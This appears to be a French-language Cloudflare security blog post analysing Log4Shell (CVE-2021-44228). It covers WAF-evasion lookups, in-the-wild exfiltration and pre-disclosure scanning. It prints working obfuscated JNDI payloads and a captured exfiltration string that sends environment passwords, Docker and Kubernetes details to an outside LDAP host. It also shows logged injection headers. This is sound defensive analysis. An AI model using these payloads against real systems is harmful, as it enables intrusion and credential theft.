Dans cette publication, nous étudierons les modèles de contournement des pare-feu WAF et les tentatives d’exfiltration observées dans le monde, les données des tendances des tentatives d’exploitation de la vulnérabilité et les informations concernant l’exploitation que nous avons observées avant la divulgation au public de CVE-2021-44228.
En bref, nous avons assisté à des tests limités de la vulnérabilité le 1er décembre, huit jours avant sa divulgation au public. Nous avons assisté à la première tentative d’exploitation de la vulnérabilité neuf minutes seulement après sa divulgation au public, ce qui démontre la rapidité avec laquelle les auteurs des attaques exploitent les problèmes récemment identifiés.
Nous observons également des tentatives massives de contournement des pare-feu WAF ayant tenté d’appliquer un blocage simple, et nous observons des tentatives massives d’exfiltration de données, notamment d’identifiants et de mots de passe secrets.
Modèles de contournement des pare-feu WAF et exemples d’exfiltration
Depuis la divulgation de la vulnérabilité CVE-2021-44228 (désormais communément appelée Log4Shell), nous avons observé que les auteurs d’attaques ont évolué de l’utilisation de chaînes d’attaque simples vers des tentatives actives de contournement du blocage par les pare-feu WAF. Les pare-feu WAF constituent un outil utile pour arrêter les auteurs d’attaques externes, et les tentatives de contournement des pare-feu WAF utilisant des règles simplistes sont courantes.
Lors des premiers stades de l’exploitation de la vulnérabilité Log4j, les auteurs d’attaques ont utilisé des chaînes de caractères non masquées, commençant typiquement par ${jndi:dns, ${jndi:rmi et ${jndi:ldap, et l’utilisation de règles simples pour rechercher ces modèles s’est avérée efficace.
Peu de temps après que ces chaînes aient été bloquées, les auteurs d’attaques ont commencé à utiliser des techniques de contournement. Ils ont utilisé (et utilisent encore) des techniques de contournement standard (échappement ou codage de caractères), ainsi que des techniques de contournement personnalisées, spécifiques au langage Log4j Lookups.
Tout pare-feu WAF efficace est capable de gérer les techniques standard. Les ruses telles que le codage de ${ sous la forme %24%7B ou \u0024\u007b peuvent être facilement inversées avant l’application de règles visant à rechercher l’exploitation de vulnérabilité spécifique actuellement utilisée.
Cependant, le langage Log4j possède des fonctionnalités riches, permettant de masquer les chaînes de caractères essentielles que recherchent certains pare-feu WAF. Par exemple, la requête ${lower} met une chaîne en minuscules. Ainsi, ${lower:H} sera remplacée par h. En utilisant les requêtes, les auteurs d’attaques déguisent des chaînes de caractères critiques comme jndi, ce qui leur permet de contourner les pare-feu WAF.
« Dans la nature », nous constatons l’utilisation de requêtes ${date}, ${lower}, ${upper}, ${web}, ${main} et ${env} aux fins du contournement. En outre, ${env}, ${sys} et ${main} (ainsi que d’autres requêtes spécialisées pour Docker, Kubernetes et d’autres systèmes) sont actuellement utilisées pour exfiltrer des données de l’environnement du processus cible (notamment des données critiques secrètes).
Pour mieux comprendre comment ce langage est utilisé, voici un petit programme Java qui prend une chaîne sur la ligne de commande et l’insère dans la console via Log4j :
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4jTester{
private static final Logger logger = LogManager.getLogger(log4jTester.class);
public static void main(String[] args) {
logger.error(args[0]);
}
}
Ce programme simple écrit dans la console. Ici, il enregistre le mot unique « hide » (masquer).
$ java log4jTester.java 'hide'
01:28:25.606 [main] ERROR log4jTester - hide
Le langage Log4j permet d’utiliser ${} à l’intérieur de ${} ; les auteurs d’attaques peuvent donc associer plusieurs mots-clés différents à des fins de contournement. Par exemple, l’expression ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e serait enregistrée comme « hide » dans un journal. Il est ainsi facile pour l’auteur d’une attaque de contourner la recherche simpliste de ${jndi, par exemple, car les lettres de jndi peuvent être dissimulées de manière similaire.
$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide
L’autre principale technique de contournement utilise la syntaxe :-. Cette syntaxe permet à l’auteur de l’attaque de définir une valeur par défaut pour une requête et, si la valeur concernée par la requête est vide, la valeur par défaut est renvoyée. Ainsi, par exemple, une requête ciblant une variable d’environnement inexistante peut être utilisée pour afficher les lettres d’un mot.
$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}'
01:35:34.280 [main] ERROR log4jTester - hide
Des techniques similaires sont utilisées avec ${web}, ${main}, etc., ainsi que des chaînes comme ${::-h} ou ${::::::-h}, qui sont toutes deux converties en h. Et, bien entendu, des combinaisons de ces techniques sont employées pour effectuer des tentatives de contournement toujours plus élaborées.
Pour avoir une idée de l’ampleur du phénomène de contournement, voici un graphique présentant les occurrences de requêtes ${jndi: non masquées dans les blocs WAF (ligne orange), l’utilisation de la requête ${lower} (ligne verte), l’utilisation de l’encodage d’URI (ligne bleue) et un contournement particulier devenu très prisé ${${::-j}${::-n}${::-d}${::-i} (ligne rouge).
Les premiers jours, les phénomènes de contournement étaient relativement rares. Maintenant, toutefois, bien que les chaînes de caractères naïves comme ${jndi: restent prisées, le contournement a pris de l’ampleur et les pare-feu WAF doivent bloquer ces attaques améliorées.
La semaine dernière, nous avons publié un article consacré aux phases initiales de l’exploitation de la vulnérabilité, qui étaient essentiellement de la reconnaissance. Depuis, les auteurs des attaques sont passés à l’extraction de données.
Nous observons l’utilisation de ${env} pour extraire les variables d’environnement, et de ${sys} pour obtenir des informations sur le système sur lequel s’exécute Log4j. Une attaque interceptée « dans la nature » a tenté d’exfiltrer une grande quantité de données avec différentes requêtes Log4j :
${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}
Ici, vous pouvez consulter l’utilisateur, le répertoire d’origine, le nom de l’image Docker, les détails de Kubernetes et Spring, les mots de passe de l’utilisateur et des bases de données, les noms d’hôte et les arguments de ligne de commande exfiltrés.
En raison de la sophistication des contournements et des exfiltrations, les fournisseurs de pare-feu WAF doivent examiner toute occurrence de ${ et la traiter comme suspecte. Pour cette raison, nous proposons en plus d’aseptiser les journaux que nous transmettons à nos clients pour convertir ${ en x{.
L’équipe de gestion du pare-feu WAF de Cloudflare s’efforce continuellement de bloquer les tentatives d’exploitation de la vulnérabilité, mais il reste vital que les clients mettent à jour leurs systèmes avec Log4j ou appliquent des mesures d’atténuation. Étant donné que les données enregistrées ne transitent pas forcément sur Internet, les systèmes ont besoin de correctifs, qu’ils soient ou non connectés à Internet.
Tous les clients souscripteurs d’offres payantes disposent de règles de pare-feu WAF configurables permettant de les protéger contre CVE-2021-44228, et nous avons également déployé une protection pour nos clients souscripteurs de l’offre gratuite.
Tendances de l’exploitation de la vulnérabilité CVE-2021-44228
Cloudflare a rapidement mis en place des règles de pare-feu WAF pour contribuer à bloquer ces attaques. Le graphique suivant présente l’évolution de ces attaques bloquées.
Du 10 au 13 décembre, nous constaté une augmentation du nombre de blocs par minute, comme suit.
| Date | Nombre moyen de requêtes bloquées par minute |
|---|---|
| 10-12-2021 | 5 483 |
| 11-12-2021 | 18 606 |
| 12-12-2021 | 27 439 |
| 13-12-2021 | 24 642 |
Dans notre publication de blog initiale, nous avons noté que le Canada (la ligne verte ci-dessous) était le premier pays d’origine des tentatives d’exploitation de la vulnérabilité. Comme nous l’avions prévu, cette situation n’a pas perduré et les attaques proviennent du monde entier, soit directement de serveurs, soit via des proxies.
Exploitation de la vulnérabilité CVE-2021-44228 avant la divulgation
CVE-2021-44228 a été divulguée dans un Tweet (désormais supprimé) le 09-12-2021 à 14h25 UTC :
Toutefois, nos systèmes ont capturé trois cas de tentative d’exploitation de la vulnérabilité ou d’analyse le 1er décembre 2021, comme suit. Dans chacun de ces cas, j’ai masqué les adresses IP et les noms de domaine. Ces trois cas ont injecté des requêtes ${jndi:ldap} dans l’en-tête HTTP User-Agent, dans l’en-tête Referer et dans les paramètres d’URI.
2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D
2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D
2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D
Après ces trois tentatives, nous n’avons constaté aucune autre activité jusqu’à neuf minutes après la divulgation publique, lorsqu’une personne a tenté d’injecter une chaîne ${jndi:ldap} via un paramètre d’URI sur un site web de jeux.
2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}
Conclusion
CVE-2021-44228 est activement exploitée par de nombreux acteurs. Les pare-feu WAF sont une mesure efficace pour contribuer à prévenir les attaques venant de l’extérieur, mais ils ne sont pas infaillibles, et les auteurs d’attaques travaillent activement à les contourner. Le potentiel d’exfiltration de données et d’identifiants est incroyablement élevé, et les risques à long terme de piratages et d’attaques plus dévastateurs sont très réels.
Il est essentiel d’atténuer et de corriger dès maintenant les logiciels affectés qui utilisent Log4j, sans attendre.